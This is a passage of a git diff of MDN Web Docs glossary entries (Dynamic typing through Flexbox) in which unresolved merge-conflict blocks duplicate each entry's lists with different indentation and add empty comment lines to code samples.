+-   _interwiki("wikipedia", "Pulse dialing"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Dynamic typing
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - ProgrammingLanguage
+=======
+-   CodingScripting
+-   Glossary
+-   ProgrammingLanguage
+>>>>>>> master
 
 ---
 
@@ -3497,16 +5375,27 @@ Computers may make use of DTMF when dialing a modem, or when sending commands to
 
 #### See also
 
+<<<<<<< HEAD
 - [JavaScript data types and data structures](/en-US/docs/Web/JavaScript/Data_structures)
 - _interwiki("wikipedia", "Type_system#DYNAMIC", "Type system"_) on Wikipedia
+=======
+-   [JavaScript data types and data structures](/en-US/docs/Web/JavaScript/Data_structures)
+-   _interwiki("wikipedia", "Type_system#DYNAMIC", "Type system"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: ECMA
 
+<<<<<<< HEAD
 - Glossary
 - Stub
 - WebMechanics
+=======
+-   Glossary
+-   Stub
+-   WebMechanics
+>>>>>>> master
 
 ---
 
@@ -3516,15 +5405,25 @@ On the web it is famous for being the organization which maintain [the ECMA-262
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Ecma_International", "Ecma International"_) on Wikipedia
 - [The Ecma International web site](https://www.ecma-international.org/)
+=======
+-   _interwiki("wikipedia", "Ecma_International", "Ecma International"_) on Wikipedia
+-   [The Ecma International web site](https://www.ecma-international.org/)
+>>>>>>> master
 
 ---
 
 ## Term: ECMAScript
 
+<<<<<<< HEAD
 - Glossary
 - WebMechanics
+=======
+-   Glossary
+-   WebMechanics
+>>>>>>> master
 
 ---
 
@@ -3532,13 +5431,19 @@ On the web it is famous for being the organization which maintain [the ECMA-262
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "ECMAScript"_) on Wikipedia
 - [ECMAScript](http://www.ecmascript.org/)
+=======
+-   _Interwiki("wikipedia", "ECMAScript"_) on Wikipedia
+-   [ECMAScript](http://www.ecmascript.org/)
+>>>>>>> master
 
 ---
 
 ## Term: Effective connection type
 
+<<<<<<< HEAD
 - Glossary
 - Navigator
 - Network Information API
@@ -3549,6 +5454,18 @@ On the web it is famous for being the organization which maintain [the ECMA-262
 - connect
 - effective connection type
 - effectiveType
+=======
+-   Glossary
+-   Navigator
+-   Network Information API
+-   NetworkInformation
+-   Performance
+-   Reference
+-   Web Performance
+-   connect
+-   effective connection type
+-   effectiveType
+>>>>>>> master
 
 ---
 
@@ -3566,23 +5483,40 @@ The values of '`slow-2g`', '`2g`', '`3g`', and '`4g`' are determined using obser
 [effectiveType](/en-US/docs/Web/API/NetworkInformation/effectiveType) is a property of the [Network Information API](/en-US/docs/Web/API/Network_Information_API), exposed to JavaScript via the [navigator.connection](/en-US/docs/Web/API/Navigator/connection) object. To see your effective connection type, open the console of the developer tools of a supporting browser and enter the following:
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 navigator.connection.effectiveType;
 ```
 
 #### See also
 
+<<<<<<< HEAD
 - [Network Information API](/en-US/docs/Web/API/Network_Information_API)
 - _domxref('NetworkInformation'_)
 - _domxref('NetworkInformation.effectiveType'_)
 - _HTTPHeader("ECT"_)
+=======
+-   [Network Information API](/en-US/docs/Web/API/Network_Information_API)
+-   _domxref('NetworkInformation'_)
+-   _domxref('NetworkInformation.effectiveType'_)
+-   _HTTPHeader("ECT"_)
+>>>>>>> master
 
 ---
 
 ## Term: Element
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - HTML
+=======
+-   CodingScripting
+-   Glossary
+-   HTML
+>>>>>>> master
 
 ---
 
@@ -3592,17 +5526,29 @@ navigator.connection.effectiveType;
 
 #### See also
 
+<<<<<<< HEAD
 - [Getting started with HTML](/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started)
 - [Defining custom elements](/en-US/docs/Web/Web_Components/Using_custom_elements)
 - The _domxref("Element"_) interface, representing an element in the DOM.
+=======
+-   [Getting started with HTML](/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started)
+-   [Defining custom elements](/en-US/docs/Web/Web_Components/Using_custom_elements)
+-   The _domxref("Element"_) interface, representing an element in the DOM.
+>>>>>>> master
 
 ---
 
 ## Term: Empty element
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - Intermediate
+=======
+-   CodingScripting
+-   Glossary
+-   Intermediate
+>>>>>>> master
 
 ---
 
@@ -3610,6 +5556,7 @@ navigator.connection.effectiveType;
 
 The [HTML](https://html.spec.whatwg.org/multipage/), [SVG](https://www.w3.org/TR/SVG2/), and [MathML](https://www.w3.org/TR/MathML3/) specifications define very precisely what each element can contain. Many combinations have no semantic meaning, for example an _HTMLElement("audio"_) element nested inside an _HTMLElement("hr"_) element.
 
+<<<<<<< HEAD
 In HTML, using a closing tag on an empty element is usually invalid. For example, `<input type="text"></input>` is invalid HTML.
 
 The empty elements in HTML are as follows:
@@ -3629,13 +5576,39 @@ The empty elements in HTML are as follows:
 - _HTMLElement("source"_)
 - _HTMLElement("track"_)
 - _HTMLElement("wbr"_)
+=======
+In HTML, using a closing tag on an empty element is usually invalid. For example, `<input type="text"> </input>` is invalid HTML.
+
+The empty elements in HTML are as follows:
+
+-   _HTMLElement("area"_)
+-   _HTMLElement("base"_)
+-   _HTMLElement("br"_)
+-   _HTMLElement("col"_)
+-   _HTMLElement("embed"_)
+-   _HTMLElement("hr"_)
+-   _HTMLElement("img"_)
+-   _HTMLElement("input"_)
+-   _HTMLElement("keygen"_)(HTML 5.2 Draft removed)
+-   _HTMLElement("link"_)
+-   _HTMLElement("meta"_)
+-   _HTMLElement("param"_)
+-   _HTMLElement("source"_)
+-   _HTMLElement("track"_)
+-   _HTMLElement("wbr"_)
+>>>>>>> master
 
 ---
 
 ## Term: Encapsulation
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
+=======
+-   CodingScripting
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -3643,16 +5616,27 @@ The empty elements in HTML are as follows:
 
 #### See also
 
+<<<<<<< HEAD
 - [Encapsulation](<https://en.wikipedia.org/wiki/Encapsulation_(object-oriented_programming)>) on Wikipedia
+=======
+-   [Encapsulation](<https://en.wikipedia.org/wiki/Encapsulation_(object-oriented_programming)>) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Encryption
 
+<<<<<<< HEAD
 - Cryptography
 - Glossary
 - Privacy
 - Security
+=======
+-   Cryptography
+-   Glossary
+-   Privacy
+-   Security
+>>>>>>> master
 
 ---
 
@@ -3668,9 +5652,15 @@ Without knowing the secret, the reverse operation, _glossary("decryption"_), is
 
 ## Term: Endianness
 
+<<<<<<< HEAD
 - Coding
 - CodingScripting
 - Glossary
+=======
+-   Coding
+-   CodingScripting
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -3682,6 +5672,7 @@ Naturally, **big-endian** is the opposite order, comparable to an ISO date (2050
 
 Examples with the number `0x12345678` (i.e. 305 419 896 in decimal):
 
+<<<<<<< HEAD
 - _little-endian_: `0x78 0x56 0x34 0x12`
 - _big-endian_: `0x12 0x34 0x56 0x78`
 - _mixed-endian_ (historic and very rare): `0x34 0x12 0x78 0x56`
@@ -3693,14 +5684,33 @@ Examples with the number `0x12345678` (i.e. 305 419 896 in decimal):
 - [Typed Arrays](/en-US/docs/Web/JavaScript/Typed_arrays)
 - _Interwiki("wikipedia", "Endianness"_) (Wikipedia)
 - _Glossary("Data structure"_) (Glossary)
+=======
+-   _little-endian_: `0x78 0x56 0x34 0x12`
+-   _big-endian_: `0x12 0x34 0x56 0x78`
+-   _mixed-endian_ (historic and very rare): `0x34 0x12 0x78 0x56`
+
+#### See also
+
+-   _jsxref("ArrayBuffer"_)
+-   _jsxref("DataView"_)
+-   [Typed Arrays](/en-US/docs/Web/JavaScript/Typed_arrays)
+-   _Interwiki("wikipedia", "Endianness"_) (Wikipedia)
+-   _Glossary("Data structure"_) (Glossary)
+>>>>>>> master
 
 ---
 
 ## Term: Engine
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - NeedsContent
+=======
+-   CodingScripting
+-   Glossary
+-   NeedsContent
+>>>>>>> master
 
 ---
 
@@ -3708,14 +5718,23 @@ Examples with the number `0x12345678` (i.e. 305 419 896 in decimal):
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "JavaScript engine"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "JavaScript engine"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Entity header
 
+<<<<<<< HEAD
 - Glossary
 - WebMechanics
+=======
+-   Glossary
+-   WebMechanics
+>>>>>>> master
 
 ---
 
@@ -3734,16 +5753,27 @@ Content-Length: 128
 
 #### See also
 
+<<<<<<< HEAD
 - _Glossary("Representation header"_)
+=======
+-   _Glossary("Representation header"_)
+>>>>>>> master
 
 ---
 
 ## Term: Entity
 
+<<<<<<< HEAD
 - CodingScripting
 - Composing
 - Glossary
 - HTML
+=======
+-   CodingScripting
+-   Composing
+-   Glossary
+-   HTML
+>>>>>>> master
 
 ---
 
@@ -3766,14 +5796,23 @@ To display these characters as text, replace them with their corresponding chara
 
 #### See also
 
+<<<<<<< HEAD
 - [Official list of character entities](https://html.spec.whatwg.org/multipage/named-characters.html#named-character-references)
+=======
+-   [Official list of character entities](https://html.spec.whatwg.org/multipage/named-characters.html#named-character-references)
+>>>>>>> master
 
 ---
 
 ## Term: Event
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
+=======
+-   CodingScripting
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -3781,17 +5820,29 @@ To display these characters as text, replace them with their corresponding chara
 
 #### See also
 
+<<<<<<< HEAD
 - [Event documentation on MDN](/en-US/docs/Web/API/Event)
 - [Official website](https://www.w3.org/TR/DOM-Level-2-Events/events.html)
 - _Interwiki("wikipedia", "DOM Events"_) on Wikipedia
+=======
+-   [Event documentation on MDN](/en-US/docs/Web/API/Event)
+-   [Official website](https://www.w3.org/TR/DOM-Level-2-Events/events.html)
+-   _Interwiki("wikipedia", "DOM Events"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Exception
 
+<<<<<<< HEAD
 - Beginner
 - CodingScripting
 - Glossary
+=======
+-   Beginner
+-   CodingScripting
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -3799,14 +5850,23 @@ To display these characters as text, replace them with their corresponding chara
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Exception handling"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "Exception handling"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: EXIF
 
+<<<<<<< HEAD
 - EXIF
 - Image
+=======
+-   EXIF
+-   Image
+>>>>>>> master
 
 ---
 
@@ -3814,23 +5874,39 @@ To display these characters as text, replace them with their corresponding chara
 
 #### See also
 
+<<<<<<< HEAD
 - [EXIF](https://en.wikipedia.org/wiki/Exif) (Wikipedia)
 - [CIPA Standards, including "CIPA DC-008-Translation-2019 Exchangeable image file format for digital still cameras : Exif Version 2.32"](https://www.cipa.jp/std/std-sec_e.html)
+=======
+-   [EXIF](https://en.wikipedia.org/wiki/Exif) (Wikipedia)
+-   [CIPA Standards, including "CIPA DC-008-Translation-2019 Exchangeable image file format for digital still cameras : Exif Version 2.32"](https://www.cipa.jp/std/std-sec_e.html)
+>>>>>>> master
 
 ---
 
 ## Term: Expando
 
+<<<<<<< HEAD
 - CodingScripting
 - JavaScript
 - Reference
 - expando
+=======
+-   CodingScripting
+-   JavaScript
+-   Reference
+-   expando
+>>>>>>> master
 
 ---
 
 > Expando properties are properties added to _glossary("DOM"_) nodes with _glossary("JavaScript"_), where those properties are not part of the _glossary("object","object's"_) DOM specification:
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 window.document.foo = 5; // foo is an expando
 ```
 
@@ -3840,14 +5916,21 @@ The term may also be applied to properties added to objects without respecting t
 
 ## Term: Fallback alignment
 
+<<<<<<< HEAD
 - CSS
 - Glossary
 - alignment
+=======
+-   CSS
+-   Glossary
+-   alignment
+>>>>>>> master
 
 ---
 
 > In [CSS Box Alignment](/en-US/docs/Web/CSS/CSS_Box_Alignment), a fallback alignment is specified in order to deal with cases where the requested alignment cannot be fulfilled. For example, if you specify `justify-content: space-between` there must be more than one [alignment subject](/en-US/docs/Glossary/Alignment_Subject). If there is not, the fallback alignment is used. This is specified per alignment method, as detailed below.
 
+<<<<<<< HEAD
 - First baseline
 - - : `start`
 - Last baseline
@@ -3866,14 +5949,40 @@ The term may also be applied to properties added to objects without respecting t
 #### See also
 
 - [CSS Box Alignment](/en-US/docs/Web/CSS/CSS_Box_Alignment)
+=======
+-   First baseline
+-   -   : `start`
+-   Last baseline
+-   -   : `safe end`
+-   Baseline
+-   -   : `start`
+-   Space-between
+    -   : `flex-start` (start)
+-   Space-around
+    -   : `center`
+-   Space-evenly
+    -   : `center`
+-   Stretch
+    -   : `flex-start` (start)
+
+#### See also
+
+-   [CSS Box Alignment](/en-US/docs/Web/CSS/CSS_Box_Alignment)
+>>>>>>> master
 
 ---
 
 ## Term: Falsy
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - JavaScript
+=======
+-   CodingScripting
+-   Glossary
+-   JavaScript
+>>>>>>> master
 
 ---
 
@@ -3900,6 +6009,10 @@ The following table provides a complete list of JavaScript falsy values:
 Examples of _falsy_ values in JavaScript (which are coerced to false in Boolean contexts, and thus _bypass_ the `if` block):
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 if (false)
 if (null)
 if (undefined)
@@ -3915,6 +6028,10 @@ if ("")
 If the first object is falsy, it returns that object
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 false && 'dog';
 // ↪ false
 
@@ -3924,18 +6041,31 @@ false && 'dog';
 
 #### See also
 
+<<<<<<< HEAD
 - _Glossary("Truthy"_)
 - _Glossary("Type_coercion", "Coercion"_)
 - _Glossary("Boolean"_)
+=======
+-   _Glossary("Truthy"_)
+-   _Glossary("Type_coercion", "Coercion"_)
+-   _Glossary("Boolean"_)
+>>>>>>> master
 
 ---
 
 ## Term: Favicon
 
+<<<<<<< HEAD
 - Glossary
 - Intro
 - favicon
 - user agent
+=======
+-   Glossary
+-   Intro
+-   favicon
+-   user agent
+>>>>>>> master
 
 ---
 
@@ -3949,19 +6079,33 @@ They are used to improve user experience and enforce brand consistency. When a f
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Favicon", "Favicon"_) on Wikipedia
 - Tools
 
     - [Free favicon generator](https://favicon.io/)
     - [Favicon.ico and & app icon generator](https://www.favicon-generator.org/)
+=======
+-   _interwiki("wikipedia", "Favicon", "Favicon"_) on Wikipedia
+-   Tools
+
+    -   [Free favicon generator](https://favicon.io/)
+    -   [Favicon.ico and & app icon generator](https://www.favicon-generator.org/)
+>>>>>>> master
 
 ---
 
 ## Term: Fetch directive
 
+<<<<<<< HEAD
 - CSP
 - HTTP
 - Security
+=======
+-   CSP
+-   HTTP
+-   Security
+>>>>>>> master
 
 ---
 
@@ -3973,6 +6117,7 @@ See [Fetch directives](/en-US/docs/Web/HTTP/Headers/Content-Security-Policy#fetc
 
 #### See also
 
+<<<<<<< HEAD
 - [Glossary](/en-US/docs/Glossary)
 
     - _Glossary("CSP"_)
@@ -3987,13 +6132,34 @@ See [Fetch directives](/en-US/docs/Web/HTTP/Headers/Content-Security-Policy#fetc
     - _HTTPHeader("Content-Security-Policy/block-all-mixed-content", "block-all-mixed-content"_)
     - _HTTPHeader("Content-Security-Policy/require-sri-for", "require-sri-for"_) \_Deprecated_Inline}}
     - _HTTPHeader("Content-Security-Policy"_)
+=======
+-   [Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("CSP"_)
+    -   _Glossary("Reporting directive"_)
+    -   _Glossary("Document directive"_)
+    -   _Glossary("Navigation directive"_)
+
+-   Reference
+
+    -   <https://www.w3.org/TR/CSP/#directives-fetch>
+    -   _HTTPHeader("Content-Security-Policy/upgrade-insecure-requests", "upgrade-insecure-requests"_)
+    -   _HTTPHeader("Content-Security-Policy/block-all-mixed-content", "block-all-mixed-content"_)
+    -   _HTTPHeader("Content-Security-Policy/require-sri-for", "require-sri-for"_) \_Deprecated_Inline}}
+    -   _HTTPHeader("Content-Security-Policy"_)
+>>>>>>> master
 
 ---
 
 ## Term: Fetch metadata request header
 
+<<<<<<< HEAD
 - Fetch Metadata Request Headers
 - Glossary
+=======
+-   Fetch Metadata Request Headers
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -4005,6 +6171,7 @@ These headers are prefixed with `Sec-`, and hence have _Glossary("Forbidden head
 
 The fetch metadata request headers are:
 
+<<<<<<< HEAD
 - _HTTPHeader("Sec-Fetch-Site"_)
 - _HTTPHeader("Sec-Fetch-Mode"_)
 - _HTTPHeader("Sec-Fetch-User"_)
@@ -4022,17 +6189,45 @@ The fetch metadata request headers are:
     - _Glossary("HTTP_header","HTTP header"_)
     - _Glossary("Response header"_)
     - _Glossary("Request header"_)
+=======
+-   _HTTPHeader("Sec-Fetch-Site"_)
+-   _HTTPHeader("Sec-Fetch-Mode"_)
+-   _HTTPHeader("Sec-Fetch-User"_)
+-   _HTTPHeader("Sec-Fetch-Dest"_)
+
+#### See also
+
+-   [Protect your resources from web attacks with Fetch Metadata](https://web.dev/fetch-metadata/) (web.dev)
+-   [Fetch Metadata Request Headers playground](https://secmetadata.appspot.com/) (secmetadata.appspot.com)
+-   [List of all HTTP headers](/en-US/docs/Web/HTTP/Headers)
+-   [List of all HTTP headers > Fetch metadata request headers](/en-US/docs/Web/HTTP/Headers#fetch_metadata_request_headers)
+-   [Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("Representation header"_)
+    -   _Glossary("HTTP_header","HTTP header"_)
+    -   _Glossary("Response header"_)
+    -   _Glossary("Request header"_)
+>>>>>>> master
 
 ---
 
 ## Term: Firefox OS
 
+<<<<<<< HEAD
 - B2G
 - Boot2Gecko
 - Firefox OS
 - Glossary
 - Infrastructure
 - Intro
+=======
+-   B2G
+-   Boot2Gecko
+-   Firefox OS
+-   Glossary
+-   Infrastructure
+-   Intro
+>>>>>>> master
 
 ---
 
@@ -4042,11 +6237,19 @@ The fetch metadata request headers are:
 
 ## Term: firewall
 
+<<<<<<< HEAD
 - DDoS
 - Firewall
 - Glossary
 - Security
 - computer network
+=======
+-   DDoS
+-   Firewall
+-   Glossary
+-   Security
+-   computer network
+>>>>>>> master
 
 ---
 
@@ -4056,15 +6259,25 @@ Firewalls can be as simple as a single piece of software, or more complex, like
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Firewall (computing)"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "Firewall (computing)"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: First-class Function
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - JavaScript
+=======
+-   CodingScripting
+-   Glossary
+-   JavaScript
+>>>>>>> master
 
 ---
 
@@ -4075,6 +6288,10 @@ Firewalls can be as simple as a single piece of software, or more complex, like
 ### JavaScript
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 const foo = function () {
     console.log('foobar');
 };
@@ -4092,9 +6309,14 @@ We assigned an **Anonymous Function** in a _glossary("Variable"_), then we used
 
 ---
 
+<<<<<<< HEAD
 
 ```js
 
+=======
+```js
+//
+>>>>>>> master
 
 function sayHello() {
     return 'Hello, ';
@@ -4117,9 +6339,14 @@ We are passing our `sayHello()` function as an argument to the `greeting()` func
 
 ---
 
+<<<<<<< HEAD
 
 ```js
 
+=======
+```js
+//
+>>>>>>> master
 
 function sayHello() {
     return function () {
@@ -4137,6 +6364,10 @@ Back to our example; Now, we need to invoke `sayHello` function and its returned
 ### 1- Using a variable
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 const sayHello = function () {
     return function () {
         console.log('Hello!');
@@ -4155,9 +6386,14 @@ This way, it returns the `Hello!` message.
 
 ---
 
+<<<<<<< HEAD
 
 ```js
 
+=======
+```js
+//
+>>>>>>> master
 
 function sayHello() {
     return function () {
@@ -4172,21 +6408,37 @@ We are using double parentheses `()()` to invoke the returned function as well.
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "First-class_function", "First-class functions"_) on Wikipedia
 - [MDN Web Docs Glossary](/en-US/docs/Glossary)
 
     - _glossary("Callback function"_)
     - _glossary("Function"_)
     - _glossary("Variable"_)
+=======
+-   _Interwiki("wikipedia", "First-class_function", "First-class functions"_) on Wikipedia
+-   [MDN Web Docs Glossary](/en-US/docs/Glossary)
+
+    -   _glossary("Callback function"_)
+    -   _glossary("Function"_)
+    -   _glossary("Variable"_)
+>>>>>>> master
 
 ---
 
 ## Term: First contentful paint
 
+<<<<<<< HEAD
 - Glossary
 - Performance
 - Reference
 - Web Performance
+=======
+-   Glossary
+-   Performance
+-   Reference
+-   Web Performance
+>>>>>>> master
 
 ---
 
@@ -4196,17 +6448,29 @@ _The First Contentful Paint_ time stamp is when the browser first rendered any t
 
 #### See also
 
+<<<<<<< HEAD
 - [First Meaningful Paint](/en-US/docs/Glossary/first_meaningful_paint)
 - [Paint Timing specification](https://w3c.github.io/paint-timing/#first-contentful-paint)
+=======
+-   [First Meaningful Paint](/en-US/docs/Glossary/first_meaningful_paint)
+-   [Paint Timing specification](https://w3c.github.io/paint-timing/#first-contentful-paint)
+>>>>>>> master
 
 ---
 
 ## Term: First CPU idle
 
+<<<<<<< HEAD
 - Glossary
 - Lighthouse
 - Performance
 - Web Performance
+=======
+-   Glossary
+-   Lighthouse
+-   Performance
+-   Web Performance
+>>>>>>> master
 
 ---
 
@@ -4216,9 +6480,15 @@ _The First Contentful Paint_ time stamp is when the browser first rendered any t
 
 ## Term: First input delay
 
+<<<<<<< HEAD
 - Glossary
 - Reference
 - Web Performance
+=======
+-   Glossary
+-   Reference
+-   Web Performance
+>>>>>>> master
 
 ---
 
@@ -4230,16 +6500,27 @@ The time between when content is painted to the page and when all the functional
 
 #### See also
 
+<<<<<<< HEAD
 - [requestIdleCallback](/en-US/docs/Web/API/Window/requestIdleCallback)
 - [lazy loading](/en-US/docs/Web/Performance/Lazy_loading)
+=======
+-   [requestIdleCallback](/en-US/docs/Web/API/Window/requestIdleCallback)
+-   [lazy loading](/en-US/docs/Web/Performance/Lazy_loading)
+>>>>>>> master
 
 ---
 
 ## Term: First interactive
 
+<<<<<<< HEAD
 - Glossary
 - Lighthouse
 - Web Performance
+=======
+-   Glossary
+-   Lighthouse
+-   Web Performance
+>>>>>>> master
 
 ---
 
@@ -4257,9 +6538,15 @@ First interactive is a variation of [Time to Interactive](/en-US/docs/Glossary/T
 
 ## Term: First Meaningful Paint
 
+<<<<<<< HEAD
 - Glossary
 - Reference
 - Web Performance
+=======
+-   Glossary
+-   Reference
+-   Web Performance
+>>>>>>> master
 
 ---
 
@@ -4267,16 +6554,27 @@ First interactive is a variation of [Time to Interactive](/en-US/docs/Glossary/T
 
 #### See also
 
+<<<<<<< HEAD
 - [First contentful paint](/en-US/docs/Glossary/First_contentful_paint)
+=======
+-   [First contentful paint](/en-US/docs/Glossary/First_contentful_paint)
+>>>>>>> master
 
 ---
 
 ## Term: First paint
 
+<<<<<<< HEAD
 - Beginner
 - Glossary
 - Performance
 - Web Performance
+=======
+-   Beginner
+-   Glossary
+-   Performance
+-   Web Performance
+>>>>>>> master
 
 ---
 
@@ -4284,18 +6582,31 @@ First interactive is a variation of [Time to Interactive](/en-US/docs/Glossary/T
 
 #### See also
 
+<<<<<<< HEAD
 - [First meaningful paint](/en-US/docs/Glossary/first_meaningful_paint)
 - [First contentful paint](/en-US/docs/Glossary/First_contentful_paint)
 - [Paint Timing API](/en-US/docs/Web/PerformancePaintTiming)
+=======
+-   [First meaningful paint](/en-US/docs/Glossary/first_meaningful_paint)
+-   [First contentful paint](/en-US/docs/Glossary/First_contentful_paint)
+-   [Paint Timing API](/en-US/docs/Web/PerformancePaintTiming)
+>>>>>>> master
 
 ---
 
 ## Term: Flex Container
 
+<<<<<<< HEAD
 - CSS
 - Glossary
 - flex container
 - flexbox
+=======
+-   CSS
+-   Glossary
+-   flex container
+-   flexbox
+>>>>>>> master
 
 ---
 
@@ -4307,6 +6618,7 @@ A value of `flex` causes the element to become a block level flex container, and
 
 ### Property reference
 
+<<<<<<< HEAD
 - _cssxref("align-content"_)
 - _cssxref("align-items"_)
 - _cssxref("flex"_)
@@ -4321,15 +6633,38 @@ A value of `flex` causes the element to become a block level flex container, and
 - CSS Flexbox Guide: _[Aligning items in a flex container](/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container)_
 - CSS Flexbox Guide: _[Mastering wrapping of flex items](/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items)_
 - Firefox Developer Tools > How to: _[CSS Flexbox Inspector: Examine Flexbox layouts](/en-US/docs/Tools/Page_Inspector/How_to/Examine_Flexbox_layouts)_
+=======
+-   _cssxref("align-content"_)
+-   _cssxref("align-items"_)
+-   _cssxref("flex"_)
+-   _cssxref("flex-direction"_)
+-   _cssxref("flex-flow"_)
+-   _cssxref("flex-wrap"_)
+-   _cssxref("justify-content"_)
+
+### Further reading
+
+-   CSS Flexbox Guide: _[Basic Concepts of Flexbox](/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox)_
+-   CSS Flexbox Guide: _[Aligning items in a flex container](/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container)_
+-   CSS Flexbox Guide: _[Mastering wrapping of flex items](/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items)_
+-   Firefox Developer Tools > How to: _[CSS Flexbox Inspector: Examine Flexbox layouts](/en-US/docs/Tools/Page_Inspector/How_to/Examine_Flexbox_layouts)_
+>>>>>>> master
 
 ---
 
 ## Term: Flex Item
 
+<<<<<<< HEAD
 - CSS
 - Glossary
 - flex item
 - flexbox
+=======
+-   CSS
+-   Glossary
+-   flex item
+-   flexbox
+>>>>>>> master
 
 ---
 
@@ -4341,6 +6676,7 @@ Continuous runs of text inside flex containers will also become flex items.
 
 ### Property reference
 
+<<<<<<< HEAD
 - _cssxref("align-self"_)
 - _cssxref("flex-basis"_)
 - _cssxref("flex-grow"_)
@@ -4352,15 +6688,35 @@ Continuous runs of text inside flex containers will also become flex items.
 - CSS Flexbox Guide: _[Basic Concepts of Flexbox](/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox)_
 - CSS Flexbox Guide: _[Ordering flex items](/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Ordering_Flex_Items)_
 - CSS Flexbox Guide: _[Controlling Ratios of flex items along the main axis](/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax)_
+=======
+-   _cssxref("align-self"_)
+-   _cssxref("flex-basis"_)
+-   _cssxref("flex-grow"_)
+-   _cssxref("flex-shrink"_)
+-   _cssxref("order"_)
+
+### Further reading
+
+-   CSS Flexbox Guide: _[Basic Concepts of Flexbox](/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox)_
+-   CSS Flexbox Guide: _[Ordering flex items](/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Ordering_Flex_Items)_
+-   CSS Flexbox Guide: _[Controlling Ratios of flex items along the main axis](/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax)_
+>>>>>>> master
 
 ---
 
 ## Term: Flexbox
 
+<<<<<<< HEAD
 - CSS
 - Glossary
 - Intro
 - flexbox
+=======
+-   CSS
+-   Glossary
+-   Intro
+-   flexbox
+>>>>>>> master
 
 ---
 
@@ -4374,6 +6730,7 @@ Flexbox also enables alignment of items on the main or cross axis, thus providin
 
 ### Property reference
 
+<<<<<<< HEAD
 - _cssxref("align-content"_)
 - _cssxref("align-items"_)
 - _cssxref("align-self"_)
@@ -4397,15 +6754,47 @@ Flexbox also enables alignment of items on the main or cross axis, thus providin
 - CSS Flexbox Guide: _[Controlling Ratios of flex items along the main axis](/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax)_
 - CSS Flexbox Guide: _[Mastering wrapping of flex items](/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items)_
 - CSS Flexbox Guide: _[Typical use cases of flexbox](/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox)_
+=======
+-   _cssxref("align-content"_)
+-   _cssxref("align-items"_)
+-   _cssxref("align-self"_)
+-   _cssxref("flex"_)
+-   _cssxref("flex-basis"_)
+-   _cssxref("flex-direction"_)
+-   _cssxref("flex-flow"_)
+-   _cssxref("flex-grow"_)
+-   _cssxref("flex-shrink"_)
+-   _cssxref("flex-wrap"_)
+-   _cssxref("justify-content"_)
+-   _cssxref("order"_)
+
+### Further reading
+
+-   _[CSS Flexible Box Layout Module Level 1 Specification](https://www.w3.org/TR/css-flexbox-1/)_
+-   CSS Flexbox Guide: _[Basic Concepts of Flexbox](/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox)_
+-   CSS Flexbox Guide: _[Relationship of flexbox to other layout methods](/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods)_
